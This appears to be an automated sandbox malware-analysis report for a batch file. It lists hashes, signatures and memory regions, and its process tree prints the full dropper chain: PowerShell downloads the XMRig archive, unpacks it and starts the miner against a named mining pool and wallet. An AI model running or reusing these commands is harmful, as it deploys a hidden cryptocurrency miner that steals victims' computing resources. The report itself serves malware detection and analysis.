Analysis

  • max time kernel
    1793s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 09:23

General

  • Target

    tesy - Copy (14).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4784
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1752

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    73e36033d0dfdbd318b352d8a1dd471a

    SHA1

    3bdd05d8c3b2bc57029209a16cbaa809d6865345

    SHA256

    df36467ed1ca2324fb5c8832116d2db151544a9d05fd7113ad69b00aec9f4903

    SHA512

    e9648ea7b7565cc37f19f4374c6e19439672d5e1625b979d63ba59c3b0b4c4021f32c46b929dbea7fe9c74774768546c949f02e803a744e070fa99b5c15d5e42

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3jsk5kwx.pzb.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    29KB

    MD5

    151fdc1201dfb868836d7feeca0dd7c2

    SHA1

    0a200b8e440391652c1fb246dc0fc8b4051151e0

    SHA256

    8e495e9ce8572e161524ba80ffa3c69b6c5375878086eaadca06b6f17b85844e

    SHA512

    e10909c44a1b644e402beef56c5fba64659c605e99ec4ad76e1291f2bfe0bbe45bf5591ac6858c3a42c87b3861208013b21a4d644fd40afb488eb700ab3ee528

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    49KB

    MD5

    140628a62cd1c34f21b8b24728abd793

    SHA1

    65f5860cc5362521a02e9c7f8d68b052676288c4

    SHA256

    4bed41a0a22144154c5291aecf46e58c077aec7f518873173293597111b73585

    SHA512

    6875ef86212ddbe50123a28bf27c0bedbe9e2d416cb1de83dc0a5d919c4c91755f61a39b3b7593da7d53230991c97e50f1bc258a60258723715311e73c1563d8

  • memory/1752-143-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-128-0x0000016A7EB40000-0x0000016A7EB60000-memory.dmp

    Filesize

    128KB

  • memory/1752-188-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-187-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-186-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-185-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-184-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-183-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-182-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-181-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-180-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-179-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-178-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-177-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-176-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-175-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-174-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-146-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-173-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-121-0x0000016A7EB20000-0x0000016A7EB40000-memory.dmp

    Filesize

    128KB

  • memory/1752-122-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-124-0x0000016B11500000-0x0000016B11520000-memory.dmp

    Filesize

    128KB

  • memory/1752-123-0x0000016A7EB40000-0x0000016A7EB60000-memory.dmp

    Filesize

    128KB

  • memory/1752-125-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-126-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-129-0x0000016B11500000-0x0000016B11520000-memory.dmp

    Filesize

    128KB

  • memory/1752-145-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-127-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-130-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-131-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-132-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-133-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-134-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-135-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-136-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-137-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-138-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-139-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-140-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-141-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-142-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-172-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-154-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-171-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-120-0x0000016A7D220000-0x0000016A7D240000-memory.dmp

    Filesize

    128KB

  • memory/1752-147-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-148-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-149-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-150-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-151-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-152-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-153-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-144-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-155-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-156-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-157-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-158-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-159-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-160-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-161-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-162-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-163-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-164-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-165-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-166-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-167-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-168-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-169-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/1752-170-0x00007FF6CB990000-0x00007FF6CC493000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-41-0x00000186F3480000-0x00000186F3490000-memory.dmp

    Filesize

    64KB

  • memory/4784-66-0x00000186F3480000-0x00000186F3490000-memory.dmp

    Filesize

    64KB

  • memory/4784-40-0x00007FF9ED7F0000-0x00007FF9EE1DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4784-117-0x00007FF9ED7F0000-0x00007FF9EE1DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4784-93-0x00000186F37D0000-0x00000186F37DA000-memory.dmp

    Filesize

    40KB

  • memory/4784-42-0x00000186F3480000-0x00000186F3490000-memory.dmp

    Filesize

    64KB

  • memory/4784-80-0x00000186F3960000-0x00000186F3972000-memory.dmp

    Filesize

    72KB

  • memory/5080-26-0x00007FF9ED7F0000-0x00007FF9EE1DC000-memory.dmp

    Filesize

    9.9MB

  • memory/5080-25-0x0000029495F80000-0x0000029495F90000-memory.dmp

    Filesize

    64KB

  • memory/5080-10-0x00000294AE340000-0x00000294AE3B6000-memory.dmp

    Filesize

    472KB

  • memory/5080-4-0x00000294AE190000-0x00000294AE1B2000-memory.dmp

    Filesize

    136KB

  • memory/5080-6-0x0000029495F80000-0x0000029495F90000-memory.dmp

    Filesize

    64KB

  • memory/5080-8-0x0000029495F80000-0x0000029495F90000-memory.dmp

    Filesize

    64KB

  • memory/5080-34-0x00007FF9ED7F0000-0x00007FF9EE1DC000-memory.dmp

    Filesize

    9.9MB

  • memory/5080-29-0x0000029495F80000-0x0000029495F90000-memory.dmp

    Filesize

    64KB

  • memory/5080-28-0x0000029495F80000-0x0000029495F90000-memory.dmp

    Filesize

    64KB

  • memory/5080-27-0x0000029495F80000-0x0000029495F90000-memory.dmp

    Filesize

    64KB

  • memory/5080-5-0x00007FF9ED7F0000-0x00007FF9EE1DC000-memory.dmp

    Filesize

    9.9MB